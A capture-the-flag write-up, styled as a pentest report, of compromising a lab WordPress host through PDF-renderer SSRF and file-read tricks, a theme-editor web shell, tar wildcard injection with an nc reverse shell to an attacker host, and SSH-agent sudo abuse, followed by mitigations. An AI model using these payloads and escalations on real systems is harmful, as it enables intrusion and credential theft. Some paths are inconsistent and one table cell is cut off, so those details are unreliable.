Executive Summary
The engagement began with a single disclosed virtual host name leaking out of an HTTP response header on the target web server. That one leak unraveled the entire box: it led to a WordPress site, an internal-only receipt-generation application, and an exposed database admin panel. The receipt app turned out to echo every form field straight into HTML that was then rendered server-side into a PDF, with no output encoding at all. That reflected injection was first used to confirm a Server-Side Request Forgery (SSRF - outbound HTTP to attacker infrastructure), and then upgraded to a Local File Inclusion (LFI) that read /etc/passwd and, critically, WordPress's wp-config.php. The leaked database credentials unlocked the previously-found Adminer panel, which exposed the WordPress users table, including a crackable password hash. The cracked password was valid for the WordPress admin panel, where the built-in Theme File Editor was used to drop a PHP payload and obtain a reverse shell as www-data. From there, a poorly-written backup cron job running tar with a wildcard in a web-writable directory was abused for classic tar wildcard code execution, escalating to the kyle user. Finally, a stray SSH agent socket left behind by another session, combined with a pam_ssh_agent_auth sudo configuration, allowed kyle to authenticate sudo using an agent-held key that was never supposed to be reachable, yielding a full root shell.
1. Reconnaissance
1.1 Port Scan
rustscan -a machine-ip --ulimit 5000
nmap -sCV machine-ip -p 22,80 -oN sea-surfer-nmap
| Port | Service | Version |
|---|---|---|
| 22 | ssh | OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 |
| 80 | http | Apache httpd 2.4.41 (Ubuntu) |
1.2 VHost Disclosure via Response Header
curl to the bare IP returned the stock Apache default page, but a verbose request leaked the real backend vhost name in a custom header:
curl -iv http://machine-ip/
...
< X-Backend-Server: seasurfer.thm
Added to /etc/hosts: machine-ip seasurfer.thm.
2. Main Site Enumeration - seasurfer.thm
Browsing the vhost revealed a WordPress 5.9.3 site ("Sea Surfer - Ride the Wave!") using the twentyseventeen theme and the team-members plugin. The "About" page's staff directory (Maya Martins - Owner, Brandon Baker - Salesman, Kyle King - Sysadmin, described as "a very proficient PHP coder") provided candidate usernames later confirmed to matter - kyle turned out to be the actual low-privilege system/WordPress account.
An ffuf directory/vhost sweep against seasurfer.thm turned up an exposed Adminer 4.8.1 database-management panel:
http://seasurfer.thm/adminer/?username=&db=wp-users
At this point it couldn't be used - no valid credentials were known yet, and blank credentials returned Access denied for user '@localhost' (using password: NO). This panel was bookmarked for later.
A separate ffuf VHost-header fuzz identified a second virtual host not linked anywhere on the public site:
ffuf -u http://seasurfer.thm/ -H "HOST: FUZZ.seasurfer.thm" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
...
internal [Status: 200, Size: 3072, Words: 225, Lines: 109, Duration: 212ms]
Added to /etc/hosts: machine-ip internal.seasurfer.thm.
3. internal.seasurfer.thm - Receipt Generator
The internal-only app is a simple "create a receipt" form (index.php) that posts to output.php, which renders invoice.php into a PDF saved under /invoices/<id>.pdf.
3.1 Root Cause - No Output Encoding
A shell obtained later in the engagement confirmed the source directly:
// invoice.php (excerpt)
Receipt ID: <?php echo $_GET['id']?>
Customer name: <?php echo $_GET['name']?>
Additional information: <?php echo $_GET['comment']?>
Payment: <?php echo $_GET['payment']?>
foreach ($_GET as $key => $value) {
if (strpos($key, 'item') === 0) echo "<tr class='item'><td>$value</td>";
if (strpos($key, 'price') === 0) echo "<td>\$$value</td></tr>";
}
Every single query parameter is echoed directly into the HTML with zero sanitization or escaping, and that HTML is then rendered server-side into a PDF. This is the single root cause behind the injection, SSRF, and LFI findings below.
3.2 Confirming HTML Injection
Submitting <b>test<b/test> as the comment rendered as bold text in the generated PDF - confirming the field is interpreted as raw HTML by the PDF rendering engine, not displayed as plain text.
3.3 SSRF - Outbound Callback
HTML-to-PDF converters (wkhtmltopdf and similar) fetch any external resource referenced in rendered HTML - from the server, not the client.
Payload (submitted as the comment):
<html> <iframe src="http://attacker-ip/"></iframe> </html>
Listener on the attacker host:
python3 -m http.server 80
Result - the attacker's listener received a callback from the target:
machine-ip - - [06/Oct/2026 17:30:54] "GET / HTTP/1.1" 200 -
SSRF confirmed: the PDF renderer, running server-side, follows attacker-controlled URLs.
3.4 LFI - Reading Local Files
Several file:// payload shapes were tried without success first:
<html> <iframe src="file://etc/passwd"></iframe> </html>
<object data="file:///etc/passwd" type="text/plain"></object>
<img src="file:///etc/passwd">
<style>body { background-image: url('file:///etc/passwd'); }</style>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///etc/passwd", false);
xhr.send(null);
document.write(xhr.responseText);
</script>
None of the direct file:// payloads above actually worked, no matter the tag or the exact slash count - the renderer simply would not resolve a file:// URI placed straight into the injected HTML. The technique that actually worked was indirect: hosting a small PHP redirector on the attacker machine and pointing the injected <iframe> at that, letting the PDF renderer follow a same-origin-looking HTTP response that then 302-redirects it to a file:// URI itself.
// redirect.php (hosted on the attacker machine)
<?php
header("Location: file:///etc/passwd");
?>
php -S 0.0.0.0:80
Injection payload (submitted as the comment field):
<iframe src="http://attacker-ip/redirect.php" style="width:1000px;height:5000px;border:none;"></iframe>
The target's PDF renderer requested redirect.php over plain HTTP (confirmed server-side in the PHP dev server log: GET /redirect.php -> 302), and - unlike a file:// URI written directly into the HTML - followed that redirect itself, landing on file:///etc/passwd and rendering its full contents inline in the resulting PDF (confirming users kyle, mysql, ubuntu, www-data, etc. on the box).
Pivoting the LFI to a higher-value target - the same redirector technique, with the Location header changed to point at WordPress's config file:
// redirect.php
<?php
header("Location: file:///var/www/wordpress/wp-config.php");
?>
Re-requesting the same <iframe src="http://attacker-ip/redirect.php"> payload against the updated redirector disclosed the full wp-config.php, including:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', 'coolDataTablesMan' );
define( 'DB_HOST', 'localhost' );
// plus AUTH_KEY / SECURE_AUTH_KEY / LOGGED_IN_KEY / NONCE_KEY / *_SALT values
4. From Leaked DB Credentials to a WordPress Account
4.1 Adminer Login
The wordpressuser / coolDataTablesMan credentials pulled straight out of wp-config.php were used against the Adminer panel discovered earlier:
http://seasurfer.thm/adminer/?username=wordpressuser&db=wordpress
Login succeeded, exposing the full wordpress database (12 tables: wp_users, wp_options, wp_posts, etc.).
4.2 Dumping wp_users
SELECT * FROM wp_users LIMIT 50;
Returned a single account:
| ID | user_login | user_pass | user_email |
|---|---|---|---|
| 1 | kyle | $P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/ |
kyle@seasurfer.thm |
4.3 Cracking the Hash
john --wordlist=/usr/share/wordlists/rockyou.txt kyle-hash
...
jenny4ever (?)
1g 0:00:00:08 DONE
The phpass hash cracked almost instantly against rockyou.txt - the password jenny4ever is a weak, dictionary-adjacent value with no complexity.
4.4 WordPress Admin Login
kyle / jenny4ever authenticated successfully at http://seasurfer.thm/wp-login.php, landing on a full WordPress Dashboard (confirmed as an administrator - the account has a custom "Teams" menu item from the team-members plugin and full wp-admin access).
5. Authenticated RCE via WordPress Theme Editor
With admin access to wp-admin, the built-in Theme File Editor (Appearance -> Theme File Editor) was used to edit the active theme's 404.php template, injecting a PHP web shell / reverse-shell payload, then clicking Update File. WordPress writes the edited PHP directly to disk with no code-execution restriction for admin users.
Visiting any non-existent path on the site (e.g. http://seasurfer.thm/<random-path>) triggers Apache/WordPress's 404 handling, which executes the now-malicious 404.php.
A listener was started first:
penelope listen -p 4444
Then the crafted URL was requested, and the listener caught a shell:
[+] [New Reverse Shell] => ip-machine-ip machine-ip Linux-x86_64 Session ID <1>
www-data@ip-machine-ip:/$ whoami
www-data
www-data@ip-machine-ip:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Code execution as www-data obtained.
6. Privilege Escalation: www-data -> kyle (Tar Wildcard Injection)
Exploring the webroot as www-data surfaced a maintenance script:
www-data@ip-machine-ip:/var/www/internal/maintenance$ cat backup.sh
#!/bin/bash
# Brandon complained about losing _one_ receipt when we had 5 minutes of downtime,
# set this to run every minute now >:D
cd /var/www/internal/invoices
tar -zcf /home/kyle/backups/invoices.tgz *
This script is scheduled to run every minute (by kyle's crontab, inferred from the output path /home/kyle/backups/), and it runs tar with a bare * glob inside /var/www/internal/invoices - a directory the web application (and therefore www-data) can write to, since generated receipts land there. This is the textbook setup for the classic tar wildcard injection technique: filenames in the target directory that look like tar command-line flags get expanded by the shell glob and interpreted by tar as options.
Exploit:
echo 'mkfifo /tmp/lhennp; nc attacker-ip 5555 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp' > shell.sh
chmod +x shell.sh
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
When the cron-triggered tar -zcf ... * next ran (within one minute), the glob expanded to include the two specially-named files, tar interpreted them as --checkpoint=1 --checkpoint-action=exec=sh shell.sh, and executed shell.sh as the user owning the cron job (kyle).
penelope listen -p 5555
...
[+] [New Reverse Shell] => ip-machine-ip machine-ip Linux-x86_64 Session ID <1>
kyle@ip-machine-ip:/var/www/internal/invoices$ whoami
kyle
kyle@ip-machine-ip:/var/www/internal/invoices$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev)
Shell upgraded to kyle (notably in the sudo group, but not yet usable - see Section 7).
User Flag
kyle@ip-machine-ip:~$ cat user.txt
THM{REDACTED}
A personal SSH key was then added to kyle's ~/.ssh/authorized_keys for stable, persistent access, and subsequent interaction was done over a normal SSH session:
ssh -i ~/.ssh/id_ed25519 kyle@seasurfer.thm
7. Privilege Escalation: kyle -> root (Leftover SSH Agent + pam_ssh_agent_auth)
7.1 Dead Ends
A standard SUID sweep found nothing unusual:
kyle@ip-machine-ip:~$ find / -perm -4000 2>/dev/null
# only standard system SUID binaries (mount, passwd, sudo, su, pkexec, etc.)
7.2 Unusual sudo Configuration
kyle is in the sudo group, but sudo -l initially requires authentication that plain password/console login doesn't satisfy. Inspecting the PAM stack explained why:
kyle@ip-machine-ip:~$ cat /etc/pam.d/sudo
#%PAM-1.0
auth sufficient pam_ssh_agent_auth.so file=/etc/ssh/sudo_authorized_keys
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session-noninteractive
sudo on this host is configured to authenticate via pam_ssh_agent_auth: if the invoking process has SSH_AUTH_SOCK pointed at an agent holding a private key listed in /etc/ssh/sudo_authorized_keys, sudo succeeds with no password at all.
7.3 Finding a Usable Agent Socket
A process listing revealed another session had left an SSH agent running and forwarded:
kyle@ip-machine-ip:~$ ps aux
...
kyle 1059 0.0 0.3 13920 3256 ? S bash -c "sudo /root/admincheck; sleep infinity"
...
And a corresponding agent socket with loose permissions:
kyle@ip-machine-ip:~$ ls -lpah /tmp/ssh-I2y4KwPuPD/agent.1145
srwxrwxr-x 1 kyle kyle 0 ... /tmp/ssh-I2y4KwPuPD/agent.1145
The socket is owned by kyle and group/other-writable (srwxrwxr-x), i.e. fully usable by the kyle shell already obtained. Pointing the current shell's SSH_AUTH_SOCK at it exposed a loaded key:
kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ export SSH_AUTH_SOCK=/tmp/ssh-rOWRscow8o/agent.1138
kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ ssh-add -l
3072 SHA256:boZASmxRncp8AM+gt1toNuZr9jh1dyatwf9DPZYit88 kyle@seasurfer (RSA)
7.4 Escalating
With that agent socket active, sudo - authenticated via pam_ssh_agent_auth against /etc/ssh/sudo_authorized_keys - succeeded outright:
kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo -l
Matching Defaults entries for kyle on seasurfer:
env_keep+=SSH_AUTH_SOCK, env_reset, timestamp_timeout=420, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User kyle may run the following commands on seasurfer:
(ALL : ALL) ALL
kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo su
root@seasurfer:/tmp/ssh-rOWRscow8o# cd /root
root@seasurfer:~# ls
admincheck credits.txt hidePID.sh root.txt snap SSHtoserver.sh
Full root access obtained.
Root Flag
root@seasurfer:~# cat root.txt
THM{REDACTED}
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Internal hostname disclosure via custom response header |
X-Backend-Server header, port 80 |
Revealed the real site name, enabling further vhost enumeration |
| 2 | Unauthenticated internal-only application reachable from outside | internal.seasurfer.thm |
Exposed a tool never meant to face the internet |
| 3 | Reflected server-side HTML injection (no output encoding) |
invoice.php - every $_GET key echoed raw |
Root cause enabling #4 and #5 |
| 4 | SSRF via HTML-to-PDF rendering | Receipt generator comment field | Server made outbound requests to attacker infrastructure |
| 5 | Local File Inclusion, reached by chaining the SSRF through an attacker-hosted HTTP redirect to file://
|
Receipt generator comment field | Disclosed /etc/passwd and wp-config.php (DB creds + WP secret keys) |
| 6 | Exposed Adminer instance, reachable with leaked DB credentials | seasurfer.thm/adminer/ |
Full read/write access to the WordPress database |
| 7 | Weak/crackable user password |
kyle's WordPress phpass hash |
Cracked in seconds with rockyou.txt
|
| 8 | Authenticated RCE via WordPress Theme File Editor |
wp-admin -> Appearance -> Theme File Editor |
Direct PHP code execution as the web server user |
| 9 | Unsafe tar wildcard usage in a privileged cron job, over a web-writable directory |
/var/www/internal/maintenance/backup.sh (runs every minute) |
Local privilege escalation from www-data to kyle
|
| 10 | World/group-accessible leftover SSH agent socket + permissive pam_ssh_agent_auth sudo rule |
/tmp/ssh-*/agent.*, /etc/pam.d/sudo, /etc/ssh/sudo_authorized_keys
|
Local privilege escalation from kyle to root
|
Attack Chain Summary
X-Backend-Server header leak
|
v
seasurfer.thm discovered (WordPress) --> ffuf finds /adminer/ (no creds yet)
|
v
ffuf vhost fuzz discovers internal.seasurfer.thm
|
v
Receipt generator (invoice.php) - unsanitized $_GET echoed into rendered HTML
|
+--> HTML injection confirmed (<b> test)
+--> SSRF confirmed (iframe -> attacker http.server callback)
+--> LFI via SSRF chained through an attacker-hosted PHP redirector (direct file:// payloads failed)
|
+--> /etc/passwd read
+--> wp-config.php read -> DB_USER / DB_PASSWORD leaked
|
v
Adminer login succeeds (wordpressuser / coolDataTablesMan)
|
v
wp_users dumped -> kyle's phpass hash
|
v
john + rockyou.txt -> password "jenny4ever"
|
v
WordPress admin login as kyle
|
v
Theme File Editor -> malicious 404.php -> RCE
|
v
Reverse shell as www-data
|
v
tar wildcard injection in cron backup.sh (web-writable dir)
|
v
Reverse shell as kyle (user.txt)
|
v
Leftover world-usable SSH agent socket + pam_ssh_agent_auth sudo rule
|
v
sudo su -> root (root.txt)
Mitigations
| Finding | Recommended Fix |
|---|---|
Vhost name leaked via X-Backend-Server
|
Remove/strip custom debug headers from production responses; never expose internal hostnames to clients. |
| Internal app reachable externally | Internal-only vhosts should be bound to an internal network interface or protected by network ACLs / a VPN, not merely "unlinked." Security by obscurity (an unlisted vhost) is not a control. |
Unsanitized $_GET reflected into rendered HTML |
Always HTML-encode user input before interpolating it into any template (htmlspecialchars() at minimum); better, use a templating engine with auto-escaping by default. |
| SSRF in HTML-to-PDF rendering | Disable remote resource loading in the PDF engine (e.g. --disable-local-file-access and restrict/deny outbound network access for the rendering process); render from a sanitized DOM/allow-list of tags rather than raw user HTML; run the renderer in an isolated/sandboxed, network-restricted container. |
LFI via file://
|
Same as above - disable local file access in the renderer, and additionally sandbox the rendering process's filesystem view (chroot/container) so even a successful file-scheme request can't reach sensitive paths like wp-config.php. |
Secrets in wp-config.php reachable by the web server process |
Store DB credentials and secret keys outside the webroot or in environment variables / a secrets manager, and ensure the PDF renderer cannot reach arbitrary paths on disk in the first place. |
| Adminer exposed on the production vhost | Do not deploy Adminer (or any DB admin tool) on a public-facing, production host; if needed, bind it to localhost and tunnel/VPN, add IP allow-listing, and require strong, unique credentials and MFA where supported. |
Weak, crackable password (jenny4ever) |
Enforce a strong password policy / minimum entropy for all accounts, especially privileged WordPress and system accounts; consider MFA on wp-admin. |
| Theme File Editor enabled for admin accounts | Disable the Theme/Plugin File Editor (define('DISALLOW_FILE_EDIT', true); in wp-config.php); restrict wp-admin to trusted IPs; apply least privilege to WordPress accounts. |
tar wildcard expansion over a web-writable directory, run by cron |
Never glob (*) over attacker-influenceable directories; use tar -- with explicit file lists, or `find ... -print0 \ |
| Leftover/forwarded SSH agent socket left world/group accessible | Never leave forwarded agent sockets reachable by other local users; use {% raw %}ssh -o ForwardAgent=no by default and only forward deliberately and briefly; tighten socket permissions; avoid long-lived background processes (sleep infinity) that hold onto sensitive file descriptors/sockets. |
pam_ssh_agent_auth trusting any reachable agent-held key for sudo
|
Scope /etc/ssh/sudo_authorized_keys tightly and audit it regularly; prefer standard password or hardware-token-based sudo authentication unless the operational need for agent-based sudo is well understood and the agent exposure is tightly controlled; monitor for anomalous sudo sessions authenticated this way. |
References
- HTML to PDF converters: can I hack them? - Tempest Security, SideChannel blog: https://www.tempest.com.br/sidechannel/en/html-to-pdf-converters-can-i-hack-them (background on SSRF/LFI techniques against server-side HTML-to-PDF renderers, used to guide Section 3.3 - 3.4)
-
pam_ssh_agent_authman page: https://manpages.ubuntu.com/manpages/bionic/man8/pam_ssh_agent_auth.8.html (used to understand the sudo PAM configuration in Section 7.2 - 7.4)
Flags have been redacted in this report per request. machine-ip refers to the lab target and attacker-ip refers to the attacker host; neither is publicly routable.
Top comments (0)